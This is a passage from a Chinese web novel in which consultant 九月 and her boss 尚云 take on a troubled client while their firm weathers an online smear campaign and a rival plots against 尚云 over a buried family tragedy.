九月按尚云的意思,先跟唐沁对接,他来旁听。最后把话题交给尚云:“您公司情况跟我们预想差不多,主要是企业文化和公司战略出了问题,在这方面我们会按步开展工作。但在此之前,我们老板尚总很重视此次合作,准备亲自上阵。作为贵司案件的主理人,他会对您公司进行一次问诊以及现场摸诊。” 唐沁着实被吓了一跳:“哎呀!您就是尚总!您坐这里一直没出声,我心里还在想贵公司随便抡出一个都是气宇轩昂的能人,怪我有眼不识泰山,久仰久仰。”说完伸出手。 尚云礼貌笑笑,也伸出手与对方交握。“幸会幸会,尚某担心出言唐突,便想先听听二位交流。据说糖世家的二大小姐能说会道,大半壁江山都是唐二小姐的功劳,今日一见果真不同凡响。” 九月想不到当初沉默寡言的尚云,如今也已经变得能言善道,在唐沁的商业吹捧下,回应也毫不逊色。 茶泡好之后,依次给唐沁和尚云二人倒上热茶。 尚云不紧不慢的喝了一口茶,“你说说公司的企业文化和创建历程。” 唐沁边回忆边说起公司初创经历,九月则在旁挑重点做记录。 听了一轮,尚云强调一个问题说,“就是说,你们公司的文化三项其实不并具有实际意义,只是随大潮在网上摘抄了挂在墙上。所以这次在慕小姐的建议下,你回去制定规则,不仅没能持续下去,反而招来怨声载道。” “呃,也不能这么说,我们借鉴的那些都是世界五百强企业的经典文化,因为当初我们也希望有天能做到世界五百强。”唐沁似乎也意识到,尚云提到的问题,可能就是公司存在的问题。 但事情并没有这么简单。 “唐二小姐,普世公司诚意合作,也希望贵司能表现出十二分的诚意。”尚云放下茶杯,继续说道:“并且,我也看出唐二小姐对公司很有感情,只要你真正希望公司好,那普世公司必定不遗余力推动公司健康发展。但是,这次合作有个前提条件,答应这个条件,短时间内可能会吃点亏,受点苦,但从长远来看,公司一定会赚回这些损失,而且能走得更远。” 唐沁看看九月,又看看尚云,狐疑问道,“什么条件?只要对公司好,你可以说说看。” 九月拿出早已准备好的君子协议,“如果能签暑这样一份协议,我们有信心将您公司脱胎换骨。公司一切事物,无论是战略管理上的还是结构调整,甚至企业文化重塑,都要授权给普世公司。要知道,贵公司要改革,必定要大刀阔斧做修整,没有权限我们施展不开。如果您认为大可不必,那咱们此次的会面就没有任何意义。” 唐沁细细研读君子协议,尚云面无表情打量了九月一眼,发现她嘴唇冻得发紫,身上穿着单薄的衬衫,摆在膝上的手下意识缩成拳头。明显是觉得冷。 便装作去办公桌上拿笔记,不动声色拿起遥控器将中央空调往高了调。 九月紧跟唐沁的节奏,在唐沁不太理解的地方,加以解释,并未注意到室内温度渐渐变高,拳头自然而然松了下来。 “我同意。” “你可以不用这么着急回答,可以回去商量。”尚云已经回到原来的位置。 “不用考虑,我现在就可以做主。”说着,沙沙沙几笔,就在协议乙方签下自己名字,从包里拿出公司的公章,盖了下去,一气呵成。 这一举动,连尚云也没料到。 接下来就是事先准备的合同,条条款款三人都详细走了一遍,确认无误后,双方签字生效。 第二十九章 普世公司遭网暴 小竺打电话来的时候,九月正在为糖世家公司的案子加班。 “他把自己当成周扒皮了吧?天天让你加班那么晚!玩命啊?” 九月刚想问,这么久不联系,怎么就知道自己天天加班很晚。突然想起莫诚来,于是从一堆资料中抬起头,“小竺,你的学长是你安排进来的?” “我......我说不是,你会相信吗?”小竺没想到九月的思维这么跳跃,话题毫无征兆就转到学长身上来了。 九月了然:“你紧张,你只有在说谎的时候才紧张。就是说他真的是你安排进来的,通天了啊你这能耐!” “不不,不是。听我解释。我上次不是跟你说,差点被尚云的车撞了嘛,跟你要的画也被摔坏了,他答应帮我重新裱画。我担心一来二去耽搁时间,就让他直接寄给莫诚。” “你死活问我要一帧画,原来是给莫诚的??”九月惊讶道。 “对,你不是要找灵魂共振的嘛,你的画就是最好的试金石。莫诚收到画之后,果然对你的画很有兴趣,顺带也对寄画的地址很有兴趣。” “怎么说?” “你那幅画叫《沧月》,据莫诚说,寄画的人附了一张明星片,上面有对《沧月》的解说词。莫诚自己就跟对方联系了。然后,前几天突然告诉我,他已经跟你见过面了,在普世公司。事情就是这样。” “原来如此,怪不得你能这么久不催我要见面时间。”九月若有所思,脑海里盘旋小竺那句话,寄画的人附了一张明星片,上面有对《沧月》的解说词。 尚云见过沧月,他一定认出来了。 为何要多此一举,写一份解说词给莫诚? “诶!你作为一个新人,表现归表现,这样下去身体可吃不消,悠着点儿啊。”小竺比九月小半岁,但更像是九月的姐姐,特别会关心人。 “忙完这阵大概就会好一点。其实这还是我自己闯的祸,得自己来收拾烂摊子。” “什么情况啊你。” “唉,回头再说,我还有很多工作得忙。先挂了。” 收了线,四周恢复寂静。环顾空旷的办公室,九月心里微微一紧。 重新伏案疾书,不知不觉已近深夜。 手机铃声突兀划破宁静,九月吓一大跳,拿过手机,看到“尚云”来电。 迟疑一秒,她接通电话:“喂!尚......总。” “楼下等你。”清冷的嗓音传进耳膜。 这三天她和尚云在糖世家安排的办公室办公,唐沁给两人安排住进酒店。尚云因为下午有个会议先行离开了,没想到他会回来接她。 收拾好资料,她往楼下走的时候,心里没来由升起一丝丝希冀:他并不像之前表现得那样不近人情。 多希望,父母车祸的事情跟他无关! 想到这里,九月原本柔和的目光,又恢复冷漠。 走出糖世家公司,看到尚云墨色轿车停在路边,打着双闪。九月敲敲窗以示礼貌,拉开了车门。 二人像是在演一部哑剧,没有任何交流。九月看着车窗外,夜晚的霓虹愈发光彩夺目,在视野里仓惶闪过。 尚云下意识侧头看了看她的手腕,那里怵目惊心的伤疤已经被扣好的衬衫袖子遮住了。 她今上午跟随他和唐沁了解公司各部门运作,在三个厂区间轮流了解,大概觉得热,解开了一向裹得紧紧的袖口,他就站在她身后,无意间看到那腕口那道缝合之后留下来的浅色疤痕,大约有半指宽。 若不是皮开肉绽,凭现在的缝合技术,又怎么会有如此吓人的伤痕。她身上到底发生过什么事? 酒店并不远,开车十分钟就到了。九月低声说了声谢谢,便下车了。 关车门之前听到他说:“等等。后面有吃的,你带上。” “不用了,我不......” “带上吧!今天辛苦了。”尚云打断她的话。车子停在树荫里,她看不清他脸上的神情,却听出语气不似平时那样冷硬。 九月顺从地关了门,取了吃的转身走了。 第二天早上,糖世家全部高管在与文化变革工作小组的会议。 尚云决定改革从重建文化开始,烂泥扶不上墙是因为没有灵魂支撑,必须先有精气神,才有信心去改变其他。 “企业文化的塑造,不能随便捡漏,也不能抄袭。企业文化相当于是区别你跟他人的标志,如果去抄袭就没有贵公司属性,也没有由内而外的力量。 要找你们公司发展的文化故事,先梳理创建公司这二十年重大事项,和关键的决策走向,寻找企业的特点。如果没有,再做进一步打算,根据自身企业的特色从零开始创建。” “文化解读由我们来做,给所有人培训一遍,公司用摄影机录下来,专门培养一个专门负责企业文化工作,并且在未来,根据时代变化去更新修正文化。用更符合时代的方式植入公司每个角落。 这个人必须有责任心,不能将文化工作沦为形式化,走过场。 再来就是建立制度,要恩威并施。能从制度中看到益处,也能看到权威。愿意执行,受制度保护,又不敢违反。 内容定稿后,制度方面再由我们公司的慕总助带着你们一起梳理,我和唐董来终审。” 在座没有不同意的。 正当改革工作如火如荼,一些行业媒体开始在文中含沙射影。 一篇标题为“重磅!普世文化公司原则打脸,如今露出獠牙,吃相太难看!”的文章,迅速被转发。普世短短不到三年的时间,成长为行业标竿,太过快速让人眼红,已树敌无数。 树高于林,风被摧之。普世被无数眼睛盯着,早就等着他犯错,快准狠地扼住裸露出来的咽喉。 这下抓住这件事不停炒作,发酵。 普世公司员工为公司愤愤鸣不平,在外面跟人起了冲突。媒体人看热闹的不怕事大,把这件事也曝光,措辞与观点刻意误导人。 明眼人都看出来局势对普世公司不利。经媒体这么一引导,顷刻之间,全网几乎都是负面评价。 木信特意打电话给尚云,“老板,出事了。” “我都知道了。”尚云风清云淡地说。 对面的九月抬头看了他一眼,又埋头在工作中。尚云起身,走至办公室窗前,“从接了糖世家的案子,我就已经料想到会有今天。现在我们能做的都在进行,你以及公司所有人,不要随风起舞,别人给我们难堪,就是希望我们急得跳脚,失去分寸。无数眼睛在盯着我们,有任何举动都会被添油加醋报道出去。听着,以静制动,从现在开始,别去回应什么。” “好的,我知道怎么做了。” 九月在午间休息的时候,已经看到网上一些报道了。她低估了商界环境,把一切想得太单纯。严教官说的不假,职场如战场,商场也如战场。 如果不是她自圆其说,要接下糖世家的案子,普世不会面临这样的风暴。 尚云站在窗前,不知道在想什么。逆着光。她也看不清他的神情。 她张了张嘴,又把话语艰难的咽下去,终归没有说出来。 第三十章 风雨欲来 过了一会,九月手机响了,她拿起来一看,是尚云群发公司成员的邮件。 “普世公司的所有将士们:你们辛苦了。 光明之前必须渡过黑暗,坚持做正确的事,时间会帮我们揭开真相。不必回应外界质疑,更无需为谣言动怒。 当初掌声热捧能将普世抛上天,今天谣言指责就能将普世踩入泥,这是正常现象。 看淡宠辱,保持敬畏,坚持脚下的路,做个有良知的人。” 不知怎么,九月将邮件来回读了三遍,突然就眼眶泛红。 这样的人,怎么可能是当年的凶手? 普世公司在外界的喧嚣中渐渐平静,雷默现任董事长萧章则坐不住了。 萧章是一个大腹便便的中年人,此时他阴翳的目光盯着电脑屏幕,他打了个电话,“你进来一下。” 少顷,一个梳着油光的大背头,精神抖擞的青年人进来了,他关好门,走近中年人才开口道:“董事长,你找我?” “网上才几天就没动静了?” “那尚云可不是一般人,沉得住气,流言蜚语无法伤及根本,主要他服务的客户都信赖他,对普世有黏性,咱们这一折腾好像作用不大,虚张声势罢了。” 萧章从鼻孔长长“嗯”了一声。 “董事长,那现在我们怎么做?” “此人不除,卧枕难安。” “董事长......改变主意了?” 萧章站起来,手负在身后,慢慢走至沙发前:“他比之死去的亲爹古力详可强太多。自从打听到他还活着的消息,就施计让他再次流离失所,没想到他生命力极强,沦落到哪里,都能快速汲取养料。 在慕家五年,完成中学到大学的学业。 在金家十年,实践出了一套极富天赋的管理手段。 离开金家的这两年多,先是创业,短短两三年时间已经在行业扎稳了根。 如今又买回了那栋别墅......” 大背头大概是不了解情况,又谨小慎微走近中年人,不解地问道:“买回别墅能说明什么呢?也许只是怀念父母。” 萧章双目泛出冷光,死死盯着大背头,仿佛“大背头”就是古尚云:“意味着他根本没有忘记十二岁之前的事,他一定记得我,记得当年的事!下一步谁也不知道他想做什么。以前是我低估他了,以为他一个小孤儿翻不起什么浪,如今后悔已经太迟!” 大背头额头直冒冷汗,他并不知道董事长指当年什么事,也不敢问:“那董事长需要我做什么?法制社会明着来可不方便啊。” 萧章大怒,重复了一遍:“此人不除,卧枕难安!凡事都问我,要你做什么!” 大背头点头如捣蒜,“明白了,明白了。” “去吧。”萧章把送到嘴边的烟,没点上又摔到茶几上。 当年古力详一家三口去世,古力言料理完兄嫂后事,他做了一辈子茶叶批发小生意,对公司运营一窍不通,也没有那么大的野心。到手那么大的集团公司,反而压力重重。让财务团队清算公司债务和资产,准备将公司出售,谁知资债相抵,公司资产竟然呈负数。 就在古力言焦头烂额的时候,有人愿意接手公司,并象征性给了一些买断资金,签定合同后双方皆大欢喜。雷默从此改名换姓,当时接手的人正是萧章。 这些陈年往事早已随着时间流逝,在人们的脑海淡忘。 除了当事人萧章,时刻担心当年殡仪馆莫名消失的孩子,会活着出现在自己面前,那么自己当年所做的一切都将重现天日。 十二年前,通过关系网长时间搜罗,竟搜到安源镇一个叫尚云的孩子信息挺吻合古尚云的特征描述。 古尚云原来的身份信息全都跟着死亡报告销迹了,查不到古尚云在世任何信息。只有一个五年前凭空降世的尚云,在安源镇注册建档的身份信息和学籍信息。 于是,慕家天降大祸,一日之间家破人亡。 发生的一切,只有萧章明白怎么回事,正因如此,才坐卧难安。 互联网上,一位德高望重的企业家接受采访,平息了这场风波。 “一直以来,我都在观察普世公司的创始人尚云。 他是一个在事业如日中天时,能够彻底放下荣誉与高薪的人;在公司困难期想尽办法帮公司渡过难关并把责任一肩扛的人;在重大利诱下能够正气凛然拒绝的人;一个白手起家却大力做公益不吝免费扶持老企业的人; 一个控制公司增长速度只为提高业务的服务质量这么有责任心的人;会在如今因为一点利益而做出有悖原则的选择吗?这其中必有隐情。劝我们的媒体记者们别笔下生花误导大家,更别笔下生刀,刀刀往死里扎,咱们公正一点,时间会证明一切。” 这个人就是金仕集团的董事长金天,作为尚云的十年老东家,一个深度了解尚云的人,是最有权利评价的。 在这个舆论浪尖敢于站出来,直言不讳斥责媒体的人,也只有他才有这样的分量和胆量。 “你们看,你们看!网上的采访视频。”阿闲把视频网络分享至公司群,大家哗然,纷纷相拥而笑。 九月忙了一天,晚上躺在酒店床上,看公司群发出来的视频,内心那道无形的冰霜隔阖渐渐消融。 她凝神自问:如果一切都是误会,那当年他那句“都是我害了他们”又是什么隐情? 他对她的态度如此恶劣,枉加羞辱,又是为何? 只怕要找个合适时机,跟他平心静气的谈话,才能让真相大白。 只要他愿意说,自己就愿意相信。 好在舆论风波终于平息了,值得庆幸。 她破天荒点开他的头像,在空白的微信页面发了一句话:谢天谢地,雨过天霁。 他没有回复。 来到糖世家的第三天,九月按普世分析模版,将资料一项项分析报告给尚云,基于跨部门互相拆台的情况,在第三步计划中采取团队换位战术改变人心。 唐沁不太理解,也有点担心,“这样会不会影响公司运作?” “你放心,换位的都是相关联部门,也就是自己接触密切与自己工作相关联的部门。对接每个人原岗位的工作,相当于原来这个窗口服务于我,现在我是窗口,去服务别人,体验双方不易,深刻思考如何改变才能更好的工作,体验报告一定会对公司各岗位的改善有帮助。” “而且,因为自己在此岗位,立场不一样,意见就不带情绪攻击,纯粹是为了工作升级。每个人多想想自己的不足,别人的不容易。行有不得反求诸己。工作氛围就简单又顺畅了。” 当执行方案定下来之后,前端服务基本已经完成一半,接下来是落地执行,普世公司的蓝鲸团队各有分工,接手了糖世家的执行指导工作,调集人手入驻现场服务。 尚云和九月离开了糖世家。 第三十一章 这里有我想得到的东西 望月居是尚云给别墅取的别名,正式搬入望月居这天,保持一贯的低调风格,只邀请了金家兄妹、木信、阿闲、严教官等人。 从外围看具有异域风采,内部装璜则是中式古典风格。二者不仅没造成视觉冲突,反而出奇的融合,让人惊叹这种逆向性艺术的美感。 望月居独门独院,坐落在别墅群的最中央,视野开阔,占地宽敝的一座院子。 要不是冠上“凶宅”名号,绝对抢手,如今尚云却以低价入手。 房子前是一片假山喷泉以及应景的花草,树木夹径而生,苍翠挺拔。房子后面是偌大的游泳池,右侧边的地下停车场宽敝明亮,可做地下车展房了。左侧边是一条外通前部花园,内通房子侧门的长廊。长廊以钢质玻璃建成,透明清亮。又隔一米开一个天窗,空气清新畅爽。长廊宽足两米,摆了一套时尚清雅的桌椅,相比外面那些风情万种的露天餐厅,一点都不逊色。就算不吃饭,仅仅是坐在这里,也不失为一种享受。 玻璃柱旁还种少许腾蔓,日长渐久,腾蔓顺着柱子上攀,茂盛非凡。却修剪整齐,倒也不显突兀。再看房子内部,古色古香的设计加上高雅的格调,装璜讲究美而不艳,富贵而不庸俗。让人不得不承认,艺术本身就是一种奢侈。 站在一旁随时待命的岑姨,是酒店里外派的头牌厨娘。 餐厅里,诺大的餐桌上,大家交杯换盏,彼此之间并不陌生,相谈甚欢,连平时不容易露笑脸的严教官都开心多喝了两杯。 一桌人中唯一的女孩龙子玥最为活跃,木信与阿闲则是最会聊天捧艮的人,金志高原本也是一个话唠,近几年尚云离开金仕集团,全副担子又落到他头上,在人前沉稳不少。但在木信和阿闲让人捧腹的话题下,也活跃起来。 严教官生性木讷冷肃,气氛烘托到一定程度,也偶尔开怀大笑。 尚云则是一群人中最为老成的人,从不爱笑,也不多言,自制到极点。就算遇到幽默话题,也仅仅是唇角微扬,算是应了大家的兴致。 尽管他的性子冷归冷,内心却相当正直亲和,跟他交往合作的关系,经得起岁月考验。因此人缘从来不差。 筵席散尽,岑姨将餐厅收拾完毕,便乘公司专车离开了。 他扯了扯胸前,松开两粒扣子。酒后微熏,进了明月居,拿起那竿长缨枪,在宽敝院子里便萧萧有声地挥舞起来。 猛然一个旱地拔葱跃起数丈高,再一个平地龙卷风,红缨枪立地不倒,他手握红缨枪横身空踢一圈,翻腾于地,单腿横扫千军,这股劲风拂动花草簌簌直摇。 不知挥舞了多久,手中的红缨枪满是汗渍。他终于停下来,大汗淋漓的立于院子中央,抬头定定望着空中皓月。 两世记忆翻涌,战地阴云密布,喊声震天,他身先士卒领兵杀敌于前线,一道道鲜血喷涌于眼前,无数残肢血甲充斥眼底。 十万敌军云涌,黑压压地踏境而来,己方兵马仅为敌军的一半不足。他稳若泰山,布局、设关卡,在最险峻的要塞毅然带领将士,燃烧斗志,厮喊着迎敌而上,生生将敌军杀个片甲不留。 尚云抚住鼓鼓跳动,像要炸裂一样的太阳穴,踉跄两步,坐在地上痛吟。 快喝,乖,你快喝下,妈妈时间不多了! 这是什么? 快喝,别问了,快喝下! 女人不由分说抱住他,拿起奶制瓶朝他嘴里直灌,灌到他意识渐渐模糊,他仍能听到女人哭声,你就不该来,你就不该来。 尚云哥,我带你去个地方。 去哪? 绿荷轩。这个月零钱刚发下来,我们去吃红豆糯糍。 女孩拉着他的手,一路奔走,要了一盒。 慕爸爸也给了他零花钱,他欲买单,女孩挡了回去,你的钱自己先留着,我的够花。 她小心拿起一个精致的糯糍,来,你先尝尝,可好吃啦。我每个月都会来买一盒。 他想起来了,她上个月也买了一盒糯糍,但是全给了他。那时他们还是陌路人。 女孩喂至他嘴里,那香甜滋味一直记到如今。 然而,慕家一朝之间家破人亡,也历历在目。 双世记忆有如无形的大山,太过沉重几欲将他挤压进泥土里,让他步步惊心,如履薄冰。 不敢放肆爱,也不敢放肆恨。不敢放肆笑,更不敢放肆哭。 九月跟小竺约好接洋洋,在上次那家餐厅碰头。 没想到莫诚也在。 看到九月到了,忙起身帮她拉开椅子,这份殊荣让九月浑身不自在。 小竺找个借口就溜了。 莫诚一直为九月布菜,但九月并没怎么动筷子。 走出餐厅,莫诚提出要送九月,她没有拒绝。 之前纯粹同事关系,两人之间交谈自如,现如今身份转换,变成相亲对象,反而相对无言。 终于到了楼下,莫诚下车替九月打开车门,九月提着猫笼,说了句谢谢。 “你今天似乎太过于拘谨了。我看过你的画,据说那还是你十五岁的作品,真了不起。我其实不太懂画,但是,第一眼就喜欢了。”莫诚一语双关地说。“我觉得这就是缘份。” “你突然跟我聊缘份,我还真有点不习惯。”九月理了理耳边的碎发。 “哈哈!”莫诚朗笑,又恢复了那份不羁:“九月,如果你有心里压力,就把我当成普通朋友好了。我不介意将训练场之前的事全部抹掉。” “不过,我倒是好奇。” “好奇什么?” “你经营着一家电竞公司,还有那么多周边产业,为什么要来普世?”九月可不相信他是一个为了爱情奋不顾身的人,也不认为他会为了接近自己抛下公司不顾。 莫诚眼睛在灯光下,闪闪发亮:“这里有我想得到的东西。” 这句话如果说给其他女人听,估计会是一句超甜情话,然而,九月是个例外。 模棱两可的话,让九月愈发狐疑。 知道莫诚故意不将话说明白,再问下去就不识趣了。 她静默地点点头,“那,我进去了。” 莫诚目送她进了小区。瞥见旁边三个黑影一闪而逝,他脸上浮现一抹薄怒。 拿出手机拨了个号码,“我的事不希望你出手干预!以后不要派人跟踪我。” 不等对方说话,他即挂断电话。 第三十二章 阿闲调查九月 莫诚钻进车里,脚踩油门,瞬间消失无影无踪。 暗影里的人在不久后,为首者接到电话:“没跟踪他,但他跟慕家那女孩在一块。我们就没露面了。” 放下电话后,为首者说道,“情况有变,撤吧。” 九月浑然不觉自己躲过多么凶险的一劫。 第二天照常加班。 因为糖世家的案子还远远没有结束,她除了要跟进现阶段任务,还有后续重要工作要开始起草实施方案。她必须快速学习业务知识以及工作流程,否则,在必要的时候,怕拿不出一个缜密的方案。 然而,那些都是需要时间去累积的。她只能花工夫大量查阅公司开创以来接手的全部案例寻找规律,阅读公司大量的培训课件,以及模版流程解析。平时忙工作,晚上安静适合学习。 她在工作上的热情超出了木信先入为主的印象,据她来面试那天,阿闲描述说,她一言不合自我招供说是老板叫来面试的。 他偷偷在她面前假装经过,看看何方神圣。长相倒绝对是个美女,气质也较文雅,但因为她那句话,心里对九月就存了偏见。 后来她在工作上的实质表现,竟一点点将自己之前的偏见掀翻,重塑了一个职场拼命三娘的形象。 “这是典型的“本可靠颜值吃饭,偏偏要靠实力”,太可怕了。”木信赞叹道,倚在阿闲的专属办公桌前,看了看手表,八点多了。 阿闲说:“我说你一个讲求效率从不推崇加班的人,今天太阳打西边出来了?莫非专程为了欣赏人家的颜值和实力才留下加班?” “唉!我倒是想下班,可她天天熬那么晚,让我心中有愧。再说她住那么远,一个女孩子回去也不安全。”木信看着对面办公室里那抹身影,若有所思。自己刚入职场那会儿,可不就是她这样的? 在尚云手底下工作多年,被引导摸索一套更富效率的工作模式,反而有更多时间思考。 用尚云的话来说,“低头赶路的同时,要抬头看看前路,看看环境,能尽快感应到危机,方向有偏差也好及时纠正。”所以,尚云也不是一直埋头于工作中的人,但他有一个生活和工作互相融合的习惯。 无论在什么时间遇到所见所闻,尚云能一眼看到事物底层逻辑,剥离出有用的价值应用于工作上。 像是突然想起什么,木信回头道:“倒是你,好几天都没见人影了,堆了不少工作吧?” 阿闲看似是公司的普通职员,职场老油条的样子,实际只是为了掩人耳目。阿闲真正的身份只有尚云清楚。 阿闲以前是古力详明面上的司机,实则是保镖,古力详去世当天喝了酒,将他送到别墅后,阿闲被老板娘支开办事去了。 古力详身故后,他凭借自己曾是军校出身,在国外开了一家私人侦探社。尚云当时还在金仕集团任副总时,有次在国外出差遇见阿闲。 阿闲在尚云十岁的时候,两人就有交集。 那时他经常随老板出入各种场合,包括带客人去别墅作客,古力详热情好客,爽朗大方。因此常常朋客满座。 而古尚云跟父亲个性相反,家中有客人时,除非父亲唤他去见人,否则他宁肯关起门来独自看书,练武。 别墅顶楼就设计了一个宽敝舒适的练功房,古尚云没看书的时候,就在顶楼。 阿闲只比尚云大十三岁,刚从军校出来,身手也是拔尖的。意外看到尚云在武术方面的天赋让他大为吃惊,他忍不住跟他砌磋了几招,阿闲出色的身手也让尚云大为赞叹。 两人照面的次数有限,每次尚云都拉着他比试几个回合,印象非常深刻。因此事隔多年,尚云一眼便认出了他。 自那以后,尚云跟他取得联系,阿闲谈到前老板,直言事情不会这么简单。只要尚云愿意,他想亲自解开这个心结,查出前任老板古力详的真正死因。 尚云并没有立即答应,而是创业半年后才将阿闲招来公司,一方面双方需要频繁见面,以工作掩人耳目更方便,一方面他将阿闲视作父亲的老部下,他是自己家庭变故掩姓埋名后遇见的唯一故人,在情感上他希望阿闲能留在身边。 阿闲含糊应道:“嗯,还行。我刚休几天假回来,总得在boSS面前装装样子,一会就收工。”说完又朝对面办公室努努嘴,说道:“你放心下班吧,一会我送她回去。” 木信无声地笑。他知道,阿闲经常在语言上一副吊儿郎当的样子,但在工作上非常靠谱,木信偶尔委托一两件棘手的工作给他,阿闲都完成的非常出色,几乎探不出他的实力天花板。 因此,木信对这个看起来有如职场老滑头的阿闲心存敬意,将近两年的相处,两人处处配合得那叫一个滴水不漏,被人称为尚云的左膀右臂。 “好,那护花使者的工作就交给你了。”木信打个哈欠,下班了。 “放心吧,保证完成使命。”阿闲拖着长长的尾音道。 九月收拾东西下班的时候,发现阿闲也正关门出来,“闲哥,你也这么晚?” “哈,我前几天休假,有些工作堆积在那里,加班处理掉。”阿闲竖着手指圈起钥匙转成一个环,问道,“你男朋友来接你吗?” “男朋友?”九月被他一句话问懵。 阿闲一把将旋转的钥匙抓在手里,“呵,你这样的姑娘,我猜应该有男朋友。都这么晚了,一个人打车不太方便,我载你一程。” “不用不用,我打车了,一会就到。” “公司有规定,凡是下班太晚的女员工,必须有一个男同事同行。我也是遵守规定而已。” 九月没有印象,“哦,公司有这条规定?” “刚创业那会定的规矩,现在公司壮大了,重新梳理规章制度就将这条删了。不过,我们在平时都还是这么做的,不信你明天问问木信总助。”阿闲挑挑眉。 怕九月怀疑自己的动机,自证清白道:“放心,公司里没有乱七八遭的人,我们的招聘机制你也是亲身经历过的。何况我在老板眼皮子底下做事近两年,有什么能逃得过尚总眼睛。” 九月想起在糖世家加班晚了,尚云亲自来接她。于是莞尔一笑,“当然,公司的规章森严我清楚得很。我这不是怕给你添麻烦嘛。那就劳烦闲哥。” “不用客气。走吧。” 第三十三章 身不由己 车平稳匀速的行驶在公路上,阿闲是个话唠。 “我听说九月以前是做品牌视觉设计的,这工作可不好做。” 九月不置可否:“任何工作只要是自己想做的,越困难越有挑战性,如果只为了三餐裹腹,再简单的工作也不好做,更没有乐趣可言。” “哈哈,这话听你说起来,让我想起了一个大学同学。” “怎么说?” 阿闲摇摇头,笑道:“她也经常说类似的话,青涩而严肃,理想高于一切。刚才听你的语气,跟她有点神似。” “青涩吗?这是我工作十年才明白的道理。”九月定定望着窗外,“跟理想也没有半毛钱关系。” “十年?看来九月也是年少经风霜,怪不得你模样长相看着很年轻,做说话做事却透着稳重。”阿闲说的真心话。 九月眼底蒙了一层薄雾,低声笑道:“以前听到一句话,‘你以为的极限,却是别人的起点’,现在才明白其意。我十年工作悟出来的道理,你同学在大学就有这份见解了。这就是差距。” 家庭变故,没能像其他人一样上大学,一直是九月心里的遗憾。 “不,不能这么说。”阿闲接过话头道,“每走一步都有一步的体验和感受,要不怎么说你设计的东西很有层次感,让人回味无穷,这都在学院里饱读理论学术所达不到的境地。” “闲哥看过我的作品?” “你大概不知道,在你被评为公司‘高潜能人才’时,大家都将你过往的亮点倒腾出来研究了个遍。一方面是好奇,另一方面也是咱公司的人学习能力强,看到优秀的人事物,总会挖掘背后的原因,总结经验,加以学习。这是普世公司的隐性文化。也因此,我对你的事情略有耳闻。” 九月淡淡一笑,没有说话。 阿闲转移话题说道:“你平时假期或下班后都有什么活动?跟朋友聚会逛街?” “回安源镇,在安源小学开了假期免费班,教小孩子画画。偶尔也会跟朋友出去聚聚。” “安源镇?” “嗯,我的老家。” “哦,你十年前就来宝宁市了吗?” “差不多吧,准确来说十二年前就来到这座城市。宝宁市的变化很大,那时很多地方都还没开发。现在最繁华金贵的地段,当时也不过是摊贩密集的街道而已,开着很多大排档,我就在大排档里工作,帮忙刷碗,年纪太小,连一大盆洗碗水倒不动......”九月说着仿佛看到十五岁的自己,瘦弱的身板在后厨外面,埋头一只接一只碗,怎么也刷不完。 “十二年前就工作了?”这是阿闲要问的重点。“可那时你才15岁啊?” “嗯。”关键时候,九月却没了聊兴。 “我记得那时虽不像现在这样严格,但也不至于明目张胆接受童工。”阿闲不死心,继续刨根问底。 果然,这句话让九月回忆起当年的情景,情不自禁叹息着又说道:“没错。那时都不愿收留我,我求了好多店家。后来,跑到最后一家店,见老板不同意,我就自顾自地替他们干活,客人一走我就去收碗筷,扫地,哪里有活我就去抢着做。最后老板也动了恻隐之心,就让我留下在后厨帮忙。那时为了生存,不仅刷过碗,还端过菜盘,推销过啤酒,去大街上促销,做地推,甚至帮‘山王成功学’拉过人头......” 说到这里,九月的话头戛然刹住,眼前浮现让她恐惧痛苦的画面。 阿闲职业使然,敏锐嗅到一丝不同寻常的气息:“‘山王成功学’?这是什么?” 九月喉结滚动了一下,脸色苍白。对阿闲的疑问置若惘闻。 阿闲看了看她的神情,心里又多了一道疑问。 正好此时车子已经到了繁华地段,写字楼大厦林立,时尚高端奢华大气,如果九月不提起,几乎想像不出这里曾出现过大排档。 “你说的是这里吧?” “嗯,就是这里。”九月的目光自动投射到某个位置,阿闲猜出那就是当年她工作过的排档所在地。 九月一脸疲态,头倚在车窗上,沉默不语。 阿闲以为她睡着了,便没再唠下去。把她送到小区门口,刚要出言提醒,她却突然无比清醒地发问:“天底下怎么会有对感情收放自如的人呢?” 相处五年,形影不离,她对他竟陌生得像个素未谋面的人。 说走就走得彻底,十二年之间无半点音信,哪怕一封信,一句问候都不曾有,她盼了多少年,就失望了多少年。 就跟他最初出现在她生命里时一样,无半点拖泥带水。 再出现,似乎还记得之前的情份,能毫不留情以长者身份加以诘问。却能像失忆了一样忘了这十年的绝情,心安理得对她颐指气使。 阿闲知道她与尚云的事情,在尚云为她做的一切和盘托出之前,她只是一个不知情的人。 若换作是自己,就算心怀怨恨或是老死不相往来也不过分。如今她只一句含着悲凄的无力叩问,实在算不得什么。 便幽幽叹息,一语双关地回道:“人在世间都有自己要历的劫,每个人都在自己的生命里,经历着自己的故事,在一定节点上交集相逢,缘份消散再挥手告别。看似自由,实则身不由己。好在你现在看起来也不错,多年的风雨将你粹炼得闪闪发光,只要结果是好的就万幸了。” 她已推开车门走了下去,关了车门朝他挥手,“再见!” 回到家中,洋洋早已溜到脚边,弓起腰背摩擦她的裤腿。她坐在沙发,像抽走全部力气,一动也不想动。 电话响了,洋洋跳到她身上,靠着她的肚子找个舒适的卧姿,蜷缩成一团。 九月看了看,屏幕上显示朱明。 “九月,休息了吗?” “刚加班回来,朱明哥,怎么啦?” “我最近出了趟差,参加国外一个心理学术会议,今早上刚回国,想起很长时间没给你打电话,你最近好吧。” “挺好的,有点小忙。” “哦!这周末想回老家看看,你在安源小学的美术课程结束了吗?”朱明想了想又补充一句,“我的意思是可以一起啊。” 九月视线停留在一旁的文件袋上,那是她从公司带回来学习的资料:“我下周再回,手上的工作正在关键时刻。” 三十四章 尚云重回故地 “没事,那我也可以推到下周。” “朱明哥。”朱明的心意她不能假装不知道,九月在头脑中组织了下语言,委婉说道:“那个,你的工作也挺忙,其实不必迁就我的时间。” “我忙归忙,但行程安排较灵活,可以随意调节。”朱明轻轻一笑,“你看我回去一趟开车也得三个多小时,有个伴讲讲话不容易困乏。怎么说也得等你一起。” 九月也就不再推辞,总得找时间把话说明白:“那好。” “九月......”朱明欲言又止。 “嗯,我在听。” “我昨晚遇见他了。在我小区的便利店。不过,他没有认出我。” 九月没反应过来。 “我说的是尚云。” 九月努力消化这个信息,喃喃重复道:“他跟你住在同一个小区?” “准确来说,他住在高档别墅区,我住在高层楼群区。”朱明似乎自嘲地笑了,接着又道:“我还在纠结要不要告诉你,但你听起来似乎比我想像中平静。那我就放心了。” 